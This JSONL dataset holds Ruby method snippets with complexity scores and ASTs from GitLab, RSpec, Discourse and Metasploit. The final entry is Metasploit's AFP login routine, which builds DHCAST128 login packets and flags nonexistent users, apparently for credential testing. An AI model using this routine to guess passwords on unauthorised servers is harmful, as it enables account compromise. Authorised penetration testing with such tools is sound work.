{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250826084252_rename_ci_runner_taggings_partition_indices.rb","start_line":57,"raw_source":"def alter_index_statement(from, to)\n    <<~SQL\n      ALTER INDEX IF EXISTS #{connection.quote_table_name(\"#{connection.current_schema}.#{connection.quote_column_name(from)}\")}\n                  RENAME TO #{connection.quote_column_name(to)}\n    SQL\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"alter_index_statement\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"from\"]},{\"type\":\"arg\",\"children\":[\"to\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ALTER INDEX IF EXISTS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"quote_table_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"current_schema\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"quote_column_name\",{\"type\":\"lvar\",\"children\":[\"from\"]}]}]}]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            RENAME TO \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"quote_column_name\",{\"type\":\"lvar\",\"children\":[\"to\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}","id":"3c97e790-447f-474a-b92d-25aa95a3ed1a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/graphql/types/base_edge_spec.rb","start_line":33,"raw_source":"def projects\n          context[:projects]\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"projects\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"projects\"]}]}]}","id":"f2fa0a4e-9ae2-4c54-a405-55aca1a7e19c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/external/file/local.rb","start_line":63,"raw_source":"def expand_context_attrs\n              {\n                project: context.project,\n                sha: context.sha,\n                user: context.user,\n                parent_pipeline: context.parent_pipeline,\n                variables: context.variables\n              }\n            end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"expand_context_attrs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_pipeline\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"parent_pipeline\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variables\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"variables\"]}]}]}]}","id":"ba48be77-65fc-4348-9283-523ddccebbfd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/notes/create/diff_note.rb","start_line":14,"raw_source":"def ready?(**args)\n          # As both arguments are optional, validate here that one of the\n          # arguments are present.\n          #\n          # This may be able to be done using InputUnions in the future\n          # if this RFC is merged:\n          # https://github.com/graphql/graphql-spec/blob/master/rfcs/InputUnion.md\n\n          if args[:position].to_hash.values_at(:old_line, :new_line).compact.blank?\n            raise Gitlab::Graphql::Errors::ArgumentError,\n              'position oldLine or newLine arguments are required'\n          end\n\n          super\n        end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"ready?\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"position\"]}]},\"to_hash\"]},\"values_at\",{\"type\":\"sym\",\"children\":[\"old_line\"]},{\"type\":\"sym\",\"children\":[\"new_line\"]}]},\"compact\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Graphql\"]},\"Errors\"]},\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"position oldLine or newLine arguments are required\"]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"8c3025f5-5979-483b-afaa-aa4867867446"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/slash_commands/presenters/issue_move.rb","start_line":29,"raw_source":"def custom_pretext(old_issue)\n          \"Moved issue *#{issue_link(old_issue)}* to *#{issue_link(issue)}*\"\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"custom_pretext\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"old_issue\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Moved issue *\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue_link\",{\"type\":\"lvar\",\"children\":[\"old_issue\"]}]}]},{\"type\":\"str\",\"children\":[\"* to *\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue_link\",{\"type\":\"send\",\"children\":[null,\"issue\"]}]}]},{\"type\":\"str\",\"children\":[\"*\"]}]}]}","id":"4a82df94-807e-4b76-9e0f-ccbb09de3c83"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/pipeline_schedules/update_service.rb","start_line":15,"raw_source":"def execute\n        return forbidden_to_save unless allowed_to_save?\n\n        prepare_inputs_for_update\n\n        super\n      end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_to_save?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"forbidden_to_save\"]}]}]},{\"type\":\"send\",\"children\":[null,\"prepare_inputs_for_update\"]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"62bea29a-4d76-4717-91f3-1bdd345b7144"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/merge_requests/update_reviewers_service_spec.rb","start_line":43,"raw_source":"def find_note(starting_with)\n      merge_request.notes.find do |note|\n        note && note.note.start_with?(starting_with)\n      end\n    end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"find_note\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"starting_with\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"notes\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"note\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"note\"]},\"start_with?\",{\"type\":\"lvar\",\"children\":[\"starting_with\"]}]}]}]}]}","id":"3feabe6b-c091-4bbf-b577-9e2b9a3a8b84"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/metadata.rb","start_line":414,"raw_source":"def directly_supports_attribute?(name)\n        self.class.hash_attribute_names.include?(name)\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"directly_supports_attribute?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"hash_attribute_names\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}","id":"bfe70be2-63c8-45a8-8c46-9766055e4fa4"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/stylesheet/watcher.rb","start_line":36,"raw_source":"def start\n      Thread.new do\n        begin\n          worker_loop while true\n        rescue => e\n          STDERR.puts \"CSS change notifier crashed \\n#{e}\"\n          start\n        end\n      end\n\n      listener_opts = { ignore: [/node_modules/], only: /\\.s?css\\z/ }\n      listener_opts[:force_polling] = true if ENV[\"FORCE_POLLING\"]\n\n      Thread.new do\n        begin\n          plugins_paths =\n            Dir\n              .glob(\"#{Rails.root}/plugins/*\")\n              .map do |file|\n                if File.symlink?(file)\n                  File.expand_path(File.readlink(file), \"#{Rails.root}/plugins\")\n                else\n                  file\n                end\n              end\n              .compact\n\n          listener =\n            Listen.to(*@paths, listener_opts) do |modified, added, _|\n              paths = [modified, added].flatten\n              paths.compact!\n              paths.map! do |long|\n                plugin_name = nil\n                plugins_paths.each do |plugin_path|\n                  if long.include?(\"#{plugin_path}/\")\n                    plugin_name = File.basename(plugin_path)\n                    break\n                  end\n                end\n\n                target = nil\n                target_match =\n                  long.match(/admin|desktop|mobile|publish|wizard|wcag|color_definitions/)\n                target = target_match[0] if target_match&.length\n\n                { basename: File.basename(long), target: target, plugin_name: plugin_name }\n              end\n\n              process_change(paths)\n            end\n        rescue => e\n          STDERR.puts \"Failed to listen for CSS changes: \\n#{e}\"\n        end\n        listener.start\n        sleep\n      end\n    end","complexity_score":82.3,"ast_json":"{\"type\":\"def\",\"children\":[\"start\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"while\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"worker_loop\"]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STDERR\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CSS change notifier crashed \\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"start\"]}]}]},null]}]}]},{\"type\":\"lvasgn\",\"children\":[\"listener_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ignore\"]},{\"type\":\"array\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"node_modules\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\.s?css\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FORCE_POLLING\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"listener_opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"force_polling\"]},{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"plugins_paths\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]}]},{\"type\":\"str\",\"children\":[\"/plugins/*\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"symlink?\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"readlink\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]}]},{\"type\":\"str\",\"children\":[\"/plugins\"]}]}]},{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},\"compact\"]}]},{\"type\":\"lvasgn\",\"children\":[\"listener\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Listen\"]},\"to\",{\"type\":\"splat\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@paths\"]}]},{\"type\":\"lvar\",\"children\":[\"listener_opts\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"modified\"]},{\"type\":\"arg\",\"children\":[\"added\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"paths\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"modified\"]},{\"type\":\"lvar\",\"children\":[\"added\"]}]},\"flatten\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"compact!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"long\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"plugin_name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugins_paths\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"plugin_path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"long\"]},\"include?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin_path\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"plugin_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"plugin_path\"]}]}]},{\"type\":\"break\",\"children\":[]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"target_match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"long\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"admin|desktop|mobile|publish|wizard|wcag|color_definitions\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_match\"]},\"length\"]},{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_match\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"basename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"long\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plugin_name\"]},{\"type\":\"lvar\",\"children\":[\"plugin_name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"process_change\",{\"type\":\"lvar\",\"children\":[\"paths\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STDERR\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to listen for CSS changes: \\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"listener\"]},\"start\"]},{\"type\":\"send\",\"children\":[null,\"sleep\"]}]}]}]}]}","id":"2ced9d72-da56-4cfd-9680-bf56cbfa4a23"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/afp/client.rb","start_line":45,"raw_source":"def login(user, pass)\n          if user == ''\n            return no_user_authent_login\n          end\n\n          p = OpenSSL::BN.new(\"BA2873DFB06057D43F2024744CEEE75B\", 16)\n          g = OpenSSL::BN.new(\"7\", 10)\n          ra = OpenSSL::BN.new('86F6D3C0B0D63E4B11F113A2F9F19E3BBBF803F28D30087A1450536BE979FD42', 16)\n          ma = g.mod_exp(ra, p)\n\n          padded_user = (user.length + 1) % 2 != 0 ? user + \"\\x00\" : user\n          bin_user = [padded_user.length, padded_user].pack(\"Ca*\")\n\n          length = 18 + bin_user.length + ma.to_s(2).length\n\n          packet =  \"\\00\"              # Flag: Request\n          packet << \"\\x02\"             # Command: DSICommand\n          packet << [next_id].pack('n') # requestID\n          packet << \"\\x00\\x00\\x00\\x00\" # Data offset\n          packet << [length].pack('N') # Length (42)\n          packet << \"\\x00\\x00\\x00\\x00\" # Reserved\n          packet << \"\\x12\"             # AFPCommand: FPLogin (18)\n          packet << \"\\x06\\x41\\x46\\x50\\x33\\x2e\\x31\" # AFPVersion: AFP3.1\n          packet << \"\\x09\\x44\\x48\\x43\\x41\\x53\\x54\\x31\\x32\\x38\" #UAM: DHCAST128\n          packet << bin_user           # username\n          packet << ma.to_s(2)         # random number\n\n          sock.put(packet)\n\n          begin\n            response = sock.timed_read(1024, self.login_timeout)\n          rescue Timeout::Error\n            raise RuntimeError, \"AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)\"\n          end\n\n          flags, command, request_id, error_code, length, reserved = parse_header(response)\n\n          case error_code\n          when -5001 #kFPAuthContinue\n            return parse_login_response_add_send_login_count(response, {:p => p, :g => g, :ra => ra, :ma => ma,\n                                                                        :password => pass, :user => user})\n          when -5023 #kFPUserNotAuth (User doesn't exists)\n            return :skip_user\n          else\n            return :connection_error\n          end\n\n        end","complexity_score":70.98,"ast_json":"{\"type\":\"def\",\"children\":[\"login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"pass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"==\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"no_user_authent_login\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"BN\"]},\"new\",{\"type\":\"str\",\"children\":[\"BA2873DFB06057D43F2024744CEEE75B\"]},{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"lvasgn\",\"children\":[\"g\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"BN\"]},\"new\",{\"type\":\"str\",\"children\":[\"7\"]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ra\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"BN\"]},\"new\",{\"type\":\"str\",\"children\":[\"86F6D3C0B0D63E4B11F113A2F9F19E3BBBF803F28D30087A1450536BE979FD42\"]},{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ma\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"g\"]},\"mod_exp\",{\"type\":\"lvar\",\"children\":[\"ra\"]},{\"type\":\"lvar\",\"children\":[\"p\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"padded_user\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"length\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"%\",{\"type\":\"int\",\"children\":[2]}]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bin_user\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"padded_user\"]},\"length\"]},{\"type\":\"lvar\",\"children\":[\"padded_user\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"Ca*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"length\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[18]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bin_user\"]},\"length\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ma\"]},\"to_s\",{\"type\":\"int\",\"children\":[2]}]},\"length\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"packet\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0002\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"next_id\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\\u0000\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\\u0000\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0012\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0006AFP3.1\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\tDHCAST128\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"bin_user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ma\"]},\"to_s\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"packet\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"timed_read\",{\"type\":\"int\",\"children\":[1024]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"login_timeout\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeout\"]},\"Error\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]},{\"type\":\"str\",\"children\":[\"AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)\"]}]}]},null]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"flags\"]},{\"type\":\"lvasgn\",\"children\":[\"command\"]},{\"type\":\"lvasgn\",\"children\":[\"request_id\"]},{\"type\":\"lvasgn\",\"children\":[\"error_code\"]},{\"type\":\"lvasgn\",\"children\":[\"length\"]},{\"type\":\"lvasgn\",\"children\":[\"reserved\"]}]},{\"type\":\"send\",\"children\":[null,\"parse_header\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_code\"]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[-5001]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_login_response_add_send_login_count\",{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"p\"]},{\"type\":\"lvar\",\"children\":[\"p\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"g\"]},{\"type\":\"lvar\",\"children\":[\"g\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ra\"]},{\"type\":\"lvar\",\"children\":[\"ra\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ma\"]},{\"type\":\"lvar\",\"children\":[\"ma\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[-5023]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_user\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection_error\"]}]}]}]}]}","id":"02c16a66-3b42-442d-9172-b63f694881b5"}
